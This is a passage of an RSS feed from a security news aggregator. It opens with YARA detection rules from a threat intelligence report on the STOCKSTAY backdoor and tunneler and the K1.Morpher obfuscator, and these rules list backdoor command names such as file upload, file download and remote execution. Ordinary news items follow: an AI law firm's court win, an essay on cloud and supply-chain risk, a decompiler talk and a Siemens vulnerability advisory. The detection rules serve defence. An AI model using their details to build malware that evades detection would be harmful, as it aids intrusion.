        $f6 = "ProtocolMessageTask"
        $f7 = "ProtocolMessageTaskSysinfo"
        $f8 = "TMR_AppInit_Tick"
        $f9 = "TMR_Engine_Tick"
        $f10 = "TMR_KeepAlive_Tick"
        $f11 = "TMR_PingNet_Tick"
        $f12 = "TMR_PingSystem_Tick"
        $f13 = "GetDataTrade"
        $f14 = "GetDataNews"
        $f15 = "InsertDataTrade"
        $f16 = "InsertDataNews"
        $sql1 = "CREATE TABLE IF NOT EXISTS News (" wide
        $sql2 = "CREATE TABLE IF NOT EXISTS Trade (" wide
        $sql3 = "CREATE TABLE IF NOT EXISTS Market (" wide
        $sql4 = "INSERT INTO Market ( Guid, Version, Config, Status, Launch, Type ) VALUES (@Guid, @Version, @Config, @Status, @Launch, @Type)" wide
        $sql5 = "INSERT INTO News (Container) VALUES (@Container)" wide
        $sql6 = "INSERT INTO Trade (Container) VALUES (@Container)" wide

    condition:
        8 of ($f*)
        and any of ($sql*)
}</code></pre></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>rule G_Tunneler_STOCKSTAY_STOCKBROKER_1 {
    meta:
        author = "Google Threat Intelligence Group"
        description = "Detects STOCKSTAY.STOCKBROKER tunneler based on known IPC message handler and variable names."
        hash = "dfd5cb91d06b9649d4cab500343af80ad1144a9e46641cc406f43dd169003c22"

    strings:
        $s1 = "_CorExeMain"
        $s2 = "ProtocolMessageStatusConnection"
        $s3 = "ProtocolMessageResult"
        $s4 = "ProtocolMessageEnd"
        $s5 = "OnGetDataFromServer"
        $s6 = "webSocket"
        $s7 = "wmCopyData"
        $s8 = "tempStorage"

    condition:
        all of them
}</code></pre></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>rule G_Backdoor_STOCKSTAY_STOCKTRADER_3 {
    meta:
        author = "Google Threat Intelligence Group"
        description = "Detects STOCKSTAY.STOCKTRADER backdoor based on known command handlers and FNV1a hashes."
        hash = "82707cfdf24dcb762f4615f01e1ba4d3dfdec4abe9cd588558d2634d7e6a5eeb"

    strings:
        $cmd_1 = "AppDel"
        $cmd_3 = "AppDeleteRegistryValue"
        $cmd_4 = "AppDir"
        $cmd_5 = "AppGet"
        $cmd_6 = "AppMkdir"
        $cmd_7 = "AppPut"
        $cmd_8 = "AppReadRegistryValue"
        $cmd_9 = "AppRegistryKeyExists"
        $cmd_10 = "AppRmdir"
        $cmd_11 = "AppRun"
        $cmd_12 = "AppWriteRegistryValue"
        $cmd_13 = "AppUnpackArchive"
        $cmd_14 = "ArchiveFiles"
        $cmd_15 = "GetFiles"
        $cmd_16 = "Sysinfo"
        
        $hash_1  = {ea8e5e34}
        $hash_2  = {3445694e}
        $hash_3  = {f73e97b6}
        $hash_4  = {9aa70c59}
        $hash_5  = {18b496c9}
        $hash_6  = {0f716ebc}
        $hash_7  = {8e2d79ce}
        $hash_8  = {3ae2a963}
        $hash_9  = {35d26840}
        $hash_10 = {6c41d6bc}
        $hash_11 = {1fdbbb2f}
        $hash_12 = {6ae6578d}
        $hash_13 = {66732be7}
        $hash_14 = {0b113b3d}

    condition:
        uint16(0) == 0x5a4d
        and (
            12 of ($cmd*)
            or 10 of ($hash*)
        )
}</code></pre></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>rule G_Hunting_K1MORPHER_1 {
  meta:
    author = "Google Threat Intelligence Group"
    description = "Detects plaintext class and method names associated with the .NET class K1.Morpher"
    hash = "45bb8d1ab2c13bf4354294e13d3c9be15de625d807301905b98462f43f93e893"

  strings:
    $plain_api_1 = "Squirrel3"
    $plain_api_2 = "DecryptArraySimple"
    $plain_api_3 = "DecryptIntSimple"
    $plain_api_4 = "DecryptLongSimple"
    $plain_api_5 = "DecryptFloatSimple"
    $plain_api_6 = "DecryptStringSimple"
    $plain_api_7 = "DecryptDoubleSimple"
    $plain_api_8 = "_squ_ui1"
    $plain_api_9 = "_squ_ui2"
    $plain_api_10 = "_squ_ui3"
    $plain_api_11 = "InjectedSeedCipher"

  condition:
    dotnet.is_dotnet
    and 5 of ($plain_api*)
}</code></pre></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>rule G_Hunting_K1MORPHER_2 {
  meta:
    author = "Google Threat Intelligence Group"
    description = "Detects the Squirrel3 RNG implemented within K1.Morpher"
    hash = "45bb8d1ab2c13bf4354294e13d3c9be15de625d807301905b98462f43f93e893"

  strings:
    $squirrel3_code_1 = {
      00 // nop
      03 // ldarg.1
      0A // stloc.0
      06 // ldloc.0
      7E ??????04 // ldsfld &lt;token&gt;
      5A // mul
      0A // stloc.0
      06 // ldloc.0
      02 // ldarg.0
      58 // add
      0A // stloc.0
      06 // ldloc.0
      06 // ldloc.0
      1E // ldc.i4.8
      64 // shr.un
      61 // xor
      0A // stloc.0
      06 // ldloc.0
      7E ??????04 // ldsfld &lt;token&gt;
      58 // add
      0A // stloc.0
      06 // ldloc.0
      06 // ldloc.0
      1E // ldc.i4.8
      62 // shl
      61 // xor
      0A // stloc.0
      06 // ldloc.9
      7E ??????04 // ldsfld &lt;token&gt;
      5A // mul
      0A // stloc.0
      06 // ldloc.0
      06 // ldloc.0
      1E // ldc.i4.8
      64 // shr.un
      61 // xor
      0A // stloc.0
      06 // ldloc.0
      0B // stloc.1
      2B 00 // br.s 40
      07 // ldloc.1
      2A // ret
    }

  condition:
    dotnet.is_dotnet
    and all of them
}</code></pre></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>rule G_Hunting_K1MORPHER_3 {
  meta:
    author = "Google Threat Intelligence Group"
    description = "Detects the Squirrel3 RNG implemented within K1.Morpher"
    hash = "391e51354118fb87dc57650cbbd94258c3f7c0a0d6868040b7a473ad626ff25e"

  strings:
    $squirrel3_code_1 = {
      03 // ldarg.1
      7E??????04 // ldsfld &lt;token&gt;
      5A // mul
      02 // ldarg.0
      58 // add
      25 // dup
      1E // ldc.i4.8
      64 // shr.un
      61 // xor
      7E??????04 // ldsfld &lt;token&gt;
      58 // add
      25 // dup
      1E // ldc.i4.8
      62 // shl
      61 // xor
      7E??????04 // ldsfld &lt;token&gt;
      5A // mul
      25 // dup
      1E // ldc.i4.8
      64 // shr.un
      61 // xor
      2A // ret
    }

  condition:
    dotnet.is_dotnet
    and all of them
}</code></pre></div>
<div class="block-paragraph_advanced"><h3><span>Acknowledgements</span></h3>
<p><span>This analysis would not have been possible without the assistance of Gabby Roncone for technical review. We also appreciate GitHub for their collaboration against this threat. </span></p></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Garfield AI Secures Landmark Court Victory for AI-Powered Law Firm]]></title>
<description><![CDATA[A significant milestone has been reached in the legal sector after an AI-powered law firm successfully helped win a court case in England, a result believed to be the first of its kind. Garfield AI, the UK's first regulated AI-powered law firm, managed the entire pre-trial process without lawyer ...]]></description>
<link>https://tsecurity.de/de/3623998/it-security-nachrichten/garfield-ai-secures-landmark-court-victory-for-ai-powered-law-firm/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3623998/it-security-nachrichten/garfield-ai-secures-landmark-court-victory-for-ai-powered-law-firm/</guid>
<pubDate>Thu, 25 Jun 2026 11:52:30 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1126" height="614" src="https://thecyberexpress.com/wp-content/uploads/AI-powered-law-firm.webp" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="AI-powered law firm" decoding="async" srcset="https://thecyberexpress.com/wp-content/uploads/AI-powered-law-firm.webp 1126w, https://thecyberexpress.com/wp-content/uploads/AI-powered-law-firm-300x164.webp 300w, https://thecyberexpress.com/wp-content/uploads/AI-powered-law-firm-1024x558.webp 1024w, https://thecyberexpress.com/wp-content/uploads/AI-powered-law-firm-768x419.webp 768w, https://thecyberexpress.com/wp-content/uploads/AI-powered-law-firm-600x327.webp 600w, https://thecyberexpress.com/wp-content/uploads/AI-powered-law-firm-150x82.webp 150w, https://thecyberexpress.com/wp-content/uploads/AI-powered-law-firm-750x409.webp 750w, https://thecyberexpress.com/wp-content/uploads/AI-powered-law-firm.webp 1126w, https://thecyberexpress.com/wp-content/uploads/AI-powered-law-firm-300x164.webp 300w, https://thecyberexpress.com/wp-content/uploads/AI-powered-law-firm-1024x558.webp 1024w, https://thecyberexpress.com/wp-content/uploads/AI-powered-law-firm-768x419.webp 768w, https://thecyberexpress.com/wp-content/uploads/AI-powered-law-firm-600x327.webp 600w, https://thecyberexpress.com/wp-content/uploads/AI-powered-law-firm-150x82.webp 150w, https://thecyberexpress.com/wp-content/uploads/AI-powered-law-firm-750x409.webp 750w" sizes="(max-width: 1126px) 100vw, 1126px" title="Garfield AI Secures Landmark Court Victory for AI-Powered Law Firm 1"></p><span data-contrast="auto">A significant milestone has been reached in the legal sector after an AI-powered law firm successfully helped win a court case in England, a result believed to be the first of its kind. Garfield AI, the UK's first regulated AI-powered law firm, managed the entire pre-trial process without lawyer supervision and delivered legal services for less than £400 (around $750).</span><span data-ccp-props='{"134233117":false,"134233118":false,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">The case involved freelance HR consultant Tamires Camal Taquidir, who sought to recover an unpaid invoice worth nearly £7,000 ($13,200). Garfield AI used its legal assistant technology to prepare and send a formal demand letter before initiating legal proceedings against the debtor.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">From the beginning of the dispute until the matter was ready for trial, Garfield AI took responsibility for drafting court documents, preparing witness statements, and compiling trial bundles required for the hearing.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335559738":240,"335559739":240}'> </span>
<h3 aria-level="2"><b><span data-contrast="none">Trial at Wandsworth County Court Ends in Claimant's Favour</span></b><span data-ccp-props='{"134233117":false,"134233118":false,"134245418":true,"134245529":true,"335559738":299,"335559739":299}'> </span></h3>
<span data-contrast="auto">Although Garfield AI handled all pre-trial legal work, a human advocate represented the claimant at trial. Shortly before proceedings began, the AI-powered law firm instructed junior barrister Dominic Li of One Essex Court to appear on behalf of Taquidir.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">Li commended the preparation completed by Garfield AI, stating that the platform presented the client's case "clearly and efficiently." However, he stressed that "advocacy at trial remained essential and a fundamentally human exercise."</span><span data-ccp-props='{"134233117":false,"134233118":false,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">Following a three-hour hearing at Wandsworth County Court on 14 May, the court ruled in favour of Taquidir and ordered repayment of the outstanding debt. The judgment is widely regarded as a landmark victory for an AI-powered law firm and a notable example of <a href="https://thecyberexpress.com/cisa-first-chief-artificial-intelligence-officer/" target="_blank" rel="noopener">artificial intelligence</a> being used successfully within regulated legal services.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335559738":240,"335559739":240}'> </span>
<h3 aria-level="2"><b><span data-contrast="none">Founders Highlight the Potential of an AI-powered Law Firm</span></b><span data-ccp-props='{"134233117":false,"134233118":false,"134245418":true,"134245529":true,"335559738":299,"335559739":299}'> </span></h3>
<span data-contrast="auto">Garfield AI co-founder Philip Young described the outcome as a major development for access to justice, particularly for individuals and small businesses that often abandon valid claims because of legal costs and procedural complexity.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">"This is a landmark moment, not just for Garfield AI, but for access to justice. For too long, businesses have been forced to write off debts because the cost, time, and stress of litigation made pursuing them uneconomic," Young said.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">Referring to the successful claim, he added: "Here, a freelancer who had done the work and not been paid was able to take her case all the way to trial, resist a counterclaim, and win. That is exactly why Garfield exists."</span><span data-ccp-props='{"134233117":false,"134233118":false,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">Young also emphasized that the technology complemented rather than replaced legal professionals. "AI did not replace the judge, the barrister, or the <a href="https://thecyberexpress.com/moj-confirms-legal-aid-data-breach/" target="_blank" rel="noopener">legal system</a>. What it did was make the process more accessible, more efficient, and more affordable, so that a meritorious claimant could get to the point where her case could be heard and justice could be done."</span><span data-ccp-props='{"134233117":false,"134233118":false,"335559738":240,"335559739":240}'> </span>
<h3 aria-level="2"><b><span data-contrast="none">Growing Role for Regulated Legal AI</span></b><span data-ccp-props='{"134233117":false,"134233118":false,"134245418":true,"134245529":true,"335559738":299,"335559739":299}'> </span></h3>
<span data-contrast="auto">Authorized and regulated by the UK's Solicitors Regulation Authority (SRA) last year, Garfield AI focuses on helping individuals and small businesses pursue disputes valued between £30 and £10,000 (approximately $50 to $19,000), as reported by </span><a href="https://www.cyberdaily.au/digital-transformation/13804-ai-law-firm-wins-court-case-in-legal-profession-first" target="_blank" rel="nofollow noopener"><span data-contrast="none">Cyber Daily</span></a><span data-contrast="auto">.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">Daniel Long, CTO and co-founder of Garfield AI, said the case demonstrated the practical benefits of regulated legal AI. "This case shows what legal AI can do in the real world. It is not about gimmicks or replacing lawyers. It is about giving people and businesses the tools to enforce their rights when the traditional route would be too slow, too costly, or too complex," he said.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">Long added: "We are still at the beginning of this journey, but the momentum is already clear. This trial win is an important proof point: regulated AI-powered legal services can help real people recover real money through the courts."</span><span data-ccp-props='{"134233117":false,"134233118":false,"335559738":240,"335559739":240}'> </span>]]></content:encoded>
</item>
<item>
<title><![CDATA[Why your cloud strategy is already out of date]]></title>
<description><![CDATA[I’ve been watching two conversations happen in parallel for the last ~3x months, and almost nobody is connecting them. That gap is going to hurt.



The first conversation is about cloud. Enterprises everywhere are rethinking their hyperscaler dependence. Costs are spiraling out of control. AI wo...]]></description>
<link>https://tsecurity.de/de/3623891/it-security-nachrichten/why-your-cloud-strategy-is-already-out-of-date/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3623891/it-security-nachrichten/why-your-cloud-strategy-is-already-out-of-date/</guid>
<pubDate>Thu, 25 Jun 2026 11:08:34 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>I’ve been watching two conversations happen in parallel for the last ~3x months, and almost nobody is connecting them. That gap is going to hurt.</p>



<p>The first conversation is about cloud. Enterprises everywhere are rethinking their hyperscaler dependence. Costs are spiraling out of control. AI workloads are data-sensitive, latency-hungry and expensive to run on someone else’s infrastructure. Suddenly, private clouds are back in fashion. Sovereign clouds are popping up across Europe and Asia. Neoclouds, those nimble, specialized providers, are chipping away at the dominance of AWS, Azure and GCP. The logic is sound. You want control over your costs, your data, your destiny.</p>



<p>After a decade of “just put it in the cloud,” the pendulum is swinging back. Smart move.</p>



<p>The second conversation is happening in a much smaller room. It’s about what AI is about to do to the software supply chain. <a href="https://red.anthropic.com/2026/mythos-preview/" rel="nofollow">Mythos</a> is real. I’ve seen enough to stop treating it like a thought experiment. These models are finding hundreds of vulnerabilities a night, not simple code mistakes, but novel chains of existing issues woven together into attack paths no human researcher would have mapped. It’s creative in a way that genuinely surprised me. That’s not a faster SAST scanner or a better linter. That’s a different class of threat entirely. And here’s the thing: even if you believe Mythos specifically is overhyped or a marketing play, the underlying capability is coming. It’s a when, not an if. The genie isn’t going back in the bottle.</p>



<p>Now, here’s the connection almost nobody is making: you’re replatforming for control, but the software supply chain underneath your workloads was never built for what’s about to hit it. These two trends are on a collision course, and most cloud strategy documents I see don’t mention it at all.</p>



<p>Here’s the connection nobody’s making: you’re replatforming for control, but the software supply chain underneath your workloads wasn’t built for what’s coming.</p>



<h2 class="wp-block-heading">The problem isn’t your infrastructure</h2>



<p>Your private cloud, your sovereign cloud, your carefully chosen neocloud, they all pull the same dependencies. The same open source packages. The same container images. The same long tail of libraries maintained by one or two people who fit it in on weekends and owe your enterprise absolutely nothing. That’s not a criticism of maintainers. It’s just the reality of how open-source works, and it has worked remarkably well for decades. But it was designed for a different tempo.</p>



<p>When AI starts finding vulnerabilities at an industrial scale in those deep dependency chains, your infrastructure choice doesn’t save you. The patch pipeline breaks regardless of where the servers live. It doesn’t matter if you’re running on bare metal in a Frankfurt data center or in a regulated government cloud in Singapore. The vulnerability is inside the container. It’s baked into the base image. It’s three layers down in a logging library that got pulled in transitively six months ago, and nobody on your team even knows it’s there.</p>



<p>We designed coordinated vulnerability disclosure for a world where finding a critical bug was rare, expensive and slow. A skilled researcher might spend weeks reverse-engineering something to find one really good vulnerability. They’d notify the maintainer. The maintainer would have time to triage, develop a patch, test it and publish it. The downstream ecosystem would pick it up over days or weeks. The whole rhythm assumed that the finding was the bottleneck. It’s not anymore. Now the finding is instantaneous and high-volume. The bottleneck has shifted entirely to the human side, the maintainer’s attention, the review process, the patching cadence, the downstream adoption. That pipeline doesn’t scale. It was never going to.</p>



<p>And we’re already seeing the early signs of strain. Maintainers are drowning in automated vulnerability reports and AI-generated noise. Security scanners fire off tickets for everything, with no triage, no context, no prioritization. The signal-to-noise ratio is terrible. Now imagine layering on hundreds of real, weaponizable CVEs discovered by a model that works overnight. The maintainer burns out. The patch doesn’t come. The downstream is exposed. Multiply that by thousands of projects across the long tail of open source, and you start to see the shape of the problem.</p>



<h2 class="wp-block-heading">What I think actually happen</h2>



<p>Two things need to be true at the same time, and neither of them is comfortable.</p>



<ol start="1" class="wp-block-list">
<li><strong>We need coordinated disclosure that actually works at scale.</strong> Not the fragmented mess we have today. Not a dozen competing groups, each with their own reporting format, their own severity ratings, their own urgency theatrics. One trusted pipeline. One place where vetted, verified, actionable reports land in a maintainer’s inbox with everything they need to act. Maintainers need to know that if they see a report from this pipeline, it’s real, it’s urgent and it comes with a tested fix. That’s the only way to cut through the noise. This isn’t a technical problem as much as it’s a coordination and trust problem. And it’s solvable if we have the will to stop competing and start cooperating.<br><br></li>



<li>And this is the part that makes people uncomfortable: <strong>We need a maintainer of last resort.</strong> I’m not saying this lightly. Some projects won’t patch. Some can’t, the maintainer is gone, the repo is abandoned, the original author is unreachable. Some maintainers will respond but won’t be able to ship a fix in the timeframe that matters. In every one of those cases, the downstream is left holding the risk with no recourse. Open source has always had a mechanism for exactly this situation: the fork. You take the project, you assume stewardship and you keep it alive independently. That’s not a violation of open-source principles. It is the principle. It’s the escape hatch that ensures no single maintainer becomes a permanent single point of failure for the entire ecosystem.</li>
</ol>



<p>If we don’t build both of these things, the coordinated pipeline and the last-resort stewardship, the default outcome is chaos. Every major cloud provider will fork its own versions of critical libraries. Security vendors will ship competing forks of the same logging framework, the same serialization library, the same crypto wrapper. Your team will be left trying to figure out which fork has which CVE fixed, whether the fix itself introduces new issues and whether the fork is even maintained anymore. That’s not a theoretical nightmare. That’s the logical endpoint of doing nothing, and we’re already seeing early signs of it.</p>



<h2 class="wp-block-heading">What if I’m asking the wrong question?</h2>



<p>If I’m advising a customer right now, and I have these conversations every week, I tell them three things.</p>



<p>One, your cloud strategy needs a supply chain strategy baked in from the start. Not bolted on later as a compliance checkbox. If you’re replatforming to a sovereign cloud or a private hyperscaler or a neocloud, you’re bringing your dependencies with you. Understand what’s in your containers. Know your SBOM not as a document you generate for an audit, but as a living inventory you can query when something breaks. If you don’t know what’s in your stack, you can’t fix it.</p>



<p>Two, ask your vendors the hard question: what’s your Plan B when a critical dependency doesn’t get patched? Not if. When. Look for vendors who have thought about this, who have a strategy for maintaining forks, who participate in the ecosystem’s security efforts rather than just consuming and complaining. The ones who shrug or change the subject are telling you something important about how they’ll handle the next Log4j moment, except the next one might not be a single high-profile library. It might be fifty libraries simultaneously, across your entire stack.</p>



<p>Three, start building internal muscle for this now. That means having people who understand your dependency graph deeply enough to make tough calls about when to wait for an upstream patch and when to fork and maintain yourself. It means having the CI/CD infrastructure to ship fixes fast without breaking things. It means training your incident response teams to think about supply chain compromises, not just infrastructure attacks. The skills and processes you need are different from what most organizations have today.</p>



<h2 class="wp-block-heading">The hard fork</h2>



<p>There’s a version of this story where we get it right. Where the ecosystem comes together, builds the disclosure pipeline, funds the maintainer of last resort and creates a model that actually works for the AI era. I genuinely believe that’s possible. Open source has survived existential threats before. It adapts precisely because it’s decentralized, because anyone can fork, because the license guarantees the right to pick up where someone else left off.</p>



<p>But this time the clock is ticking faster. The same models that are going to stress-test our dependencies are the ones that can help us defend them. The question is whether we organize ourselves in time, or whether we wait for a crisis that forces everyone into their corners, forking in isolation, burning trust and learning the hard way what coordination could have prevented.</p>



<p>Your cloud strategy document probably has a section on disaster recovery. It probably covers what happens when a region goes down, when a provider has an outage, when a certificate expires. Does it cover what happens when a library four layers deep in your container image is discovered to have a critical vulnerability, and the maintainer hasn’t been seen on GitHub in eight months?</p>



<p>If it doesn’t, now is the time to write that section. Because that scenario isn’t hypothetical anymore. It’s just a matter of when.</p>



<p><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><strong><a href="https://www.cio.com/expert-contributor-network/">Want to join?</a></strong></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[VirtualBox VM Inaccessible error on Windows 11]]></title>
<description><![CDATA[Your virtual machine suddenly shows as Inaccessible with a Document is empty error, and you can’t start it. This usually means VirtualBox can’t read the essential configuration file for that VM. The good news is that you can often recover it without losing your data. In this post, we will see wha...]]></description>
<link>https://tsecurity.de/de/3623091/windows-tipps/virtualbox-vm-inaccessible-error-on-windows-11/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3623091/windows-tipps/virtualbox-vm-inaccessible-error-on-windows-11/</guid>
<pubDate>Thu, 25 Jun 2026 01:55:17 +0200</pubDate>
<category>🪟 Windows Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="700" height="342" src="https://www.thewindowsclub.com/wp-content/uploads/2026/06/VirtualBox-VM-Inaccessible.png" class="attachment-full size-full wp-post-image" alt="VirtualBox VM is Inaccessible" decoding="async" fetchpriority="high" srcset="https://www.thewindowsclub.com/wp-content/uploads/2026/06/VirtualBox-VM-Inaccessible.png 700w, https://www.thewindowsclub.com/wp-content/uploads/2026/06/VirtualBox-VM-Inaccessible-500x244.png 500w, https://www.thewindowsclub.com/wp-content/uploads/2026/06/VirtualBox-VM-Inaccessible-300x147.png 300w" sizes="(max-width: 700px) 100vw, 700px">Your virtual machine suddenly shows as Inaccessible with a Document is empty error, and you can’t start it. This usually means VirtualBox can’t read the essential configuration file for that VM. The good news is that you can often recover it without losing your data. In this post, we will see what you can do […]</p>
<p>This article <a href="https://www.thewindowsclub.com/virtualbox-vm-inaccessible-error-on-windows">VirtualBox VM Inaccessible error on Windows 11</a> first appeared on <a href="https://www.thewindowsclub.com/">TheWindowsClub.com</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[How to decompile a DSP architecture (gpn24)]]></title>
<description><![CDATA[About a year ago, a friend gave me a binary to reverse engineer to playtest for a CTF. As the architecture lacked the necessary tooling, I started developing a decompiler plugin. What started as a small side project for learning, has been a part of my life over the last year. The project grew as ...]]></description>
<link>https://tsecurity.de/de/3622522/it-security-video/how-to-decompile-a-dsp-architecture-gpn24/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3622522/it-security-video/how-to-decompile-a-dsp-architecture-gpn24/</guid>
<pubDate>Wed, 24 Jun 2026 20:49:32 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[About a year ago, a friend gave me a binary to reverse engineer to playtest for a CTF. As the architecture lacked the necessary tooling, I started developing a decompiler plugin. What started as a small side project for learning, has been a part of my life over the last year. The project grew as my understanding of the architecture deepened, and it took several API updates to finally work. Join me on a journey into the rabbit hole of architecture features and how the decompiler works.

This talk will discuss the TMS320C6x Digital Signal Processor (DSP)  family and use Binary Ninja as the decompiler.

Decompilers take a compiled executable and aim to recover higher-level structures close to the original source code. As the name implies, they try to reverse the work of a compiler. This process is structured into many analysis steps of which most are independent of the architecture. However, a decompiler needs to support an architecture to get the required information for its analysis. Using a decompilers API, an architecture plugin can extend this support to any architecture (in theory).

In this talk, I will share my experiences from building such a plugin, and talk about occurring problems and solutions. You will learn the core tasks of an architecture plugin and how to fulfill them. The talk will discuss the TMS320C6x architecture family from high-level overview to opcode details. Both parts are combined to arrive at a plugin that can handle DSP architecture features. Along the way, we will discover limitations of APIs, compiler quirks and specification errors.

The talk uses Binary Ninja and its API. Some parts are specific to this tool, many concepts (and sadly problems) apply to other decompilers as well.

Licensed to the public under https://creativecommons.org/licenses/by/4.0/
about this event: https://cfp.gulas.ch/gpn24/talk/ALPR3D/]]></content:encoded>
</item>
<item>
<title><![CDATA[Ransomware Will Hit You Twice]]></title>
<description><![CDATA[Author: Security Weekly - A CRA Resource - Bewertung: 0x - Views:0 Ransomware incidents are often treated as one-time events: pay, decrypt, recover, move on. But this conversation challenges that assumption.

If the underlying vulnerability or access path isn’t fixed, attackers can return quickly...]]></description>
<link>https://tsecurity.de/de/3622234/it-security-video/ransomware-will-hit-you-twice/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3622234/it-security-video/ransomware-will-hit-you-twice/</guid>
<pubDate>Wed, 24 Jun 2026 19:04:09 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Security Weekly - A CRA Resource - Bewertung: 0x - Views:0 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/TmVxYdV1uV8?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>Ransomware incidents are often treated as one-time events: pay, decrypt, recover, move on. But this conversation challenges that assumption.<br />
<br />
If the underlying vulnerability or access path isn’t fixed, attackers can return quickly and repeat the attack. In some scenarios, paying a ransom may even signal that the organization is a viable repeat target.<br />
<br />
This discussion highlights a critical gap in many incident response strategies: focusing on recovery without addressing persistence and root cause remediation.<br />
<br />
True resilience requires more than decryption keys. It requires eliminating the conditions that allowed the intrusion in the first place, or risk becoming a repeat victim.<br />
<br />
Cybersecurity is not just about recovery speed — it’s about preventing the same failure from happening twice.<br />
<br />
If an attacker got back in tomorrow, would anything actually stop them?<br />
<br />
Subscribe to our podcasts: https://securityweekly.com/subscribe<br />
<br />
#IncidentResponse #SecurityWeekly #Cybersecurity #InformationSecurity #AI #InfoSec<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Reinventing the zipper]]></title>
<description><![CDATA[With an adaptable fastener designed at CSAIL, pitching a tent or adjusting the cast for a broken bone could be almost as easy as zipping your coat. The researchers, led by associate professor Stefanie Mueller, were inspired by an abandoned prototype for a three-sided zipper that William Freeman, ...]]></description>
<link>https://tsecurity.de/de/3619690/ai-nachrichten/reinventing-the-zipper/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3619690/ai-nachrichten/reinventing-the-zipper/</guid>
<pubDate>Tue, 23 Jun 2026 23:34:13 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[With an adaptable fastener designed at CSAIL, pitching a tent or adjusting the cast for a broken bone could be almost as easy as zipping your coat. The researchers, led by associate professor Stefanie Mueller, were inspired by an abandoned prototype for a three-sided zipper that William Freeman, PhD ’92 (now an MIT professor), patented…]]></content:encoded>
</item>
<item>
<title><![CDATA[Siemens SINEC INS]]></title>
<description><![CDATA[View CSAF
Summary
SINEC INS before V1.0 SP2 Update 6 is affected by multiple vulnerabilities. Siemens has released a new version for SINEC INS and recommends to update to the latest version.
The following versions of Siemens SINEC INS are affected:

SINEC INS vers:intdot/]]></description>
<link>https://tsecurity.de/de/3618908/it-security-nachrichten/siemens-sinec-ins/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3618908/it-security-nachrichten/siemens-sinec-ins/</guid>
<pubDate>Tue, 23 Jun 2026 18:26:09 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-174-04.json"><strong>View CSAF</strong></a></p>
<h2>Summary</h2>
<p><strong>SINEC INS before V1.0 SP2 Update 6 is affected by multiple vulnerabilities. Siemens has released a new version for SINEC INS and recommends to update to the latest version.</strong></p>
<p>The following versions of Siemens SINEC INS are affected:</p>
<ul>
<li>SINEC INS vers:intdot/&lt;1.0.2.6 </li>
</ul>
<div class="csaf-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS</th>
<th role="columnheader">Vendor</th>
<th role="columnheader">Equipment</th>
<th role="columnheader">Vulnerabilities</th>
</tr>
</thead>
<tbody>
<tr>
<td>v3 8.8</td>
<td>Siemens</td>
<td>Siemens SINEC INS</td>
<td>Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'), Path Traversal: '/dir/../filename', Execution with Unnecessary Privileges, Use of a One-Way Hash with a Predictable Salt</td>
</tr>
</tbody>
</table>
</div>
<h3>Background</h3>
<ul>
<li><strong>Critical Infrastructure Sectors: </strong>Critical Manufacturing, Transportation Systems, Energy, Healthcare and Public Health, Financial Services, Government Services and Facilities</li>
<li><strong>Countries/Areas Deployed: </strong>Worldwide</li>
<li><strong>Company Headquarters Location: </strong>Germany</li>
</ul>
<hr>
<h2>Vulnerabilities</h2>
<div class="csaf-accordion">
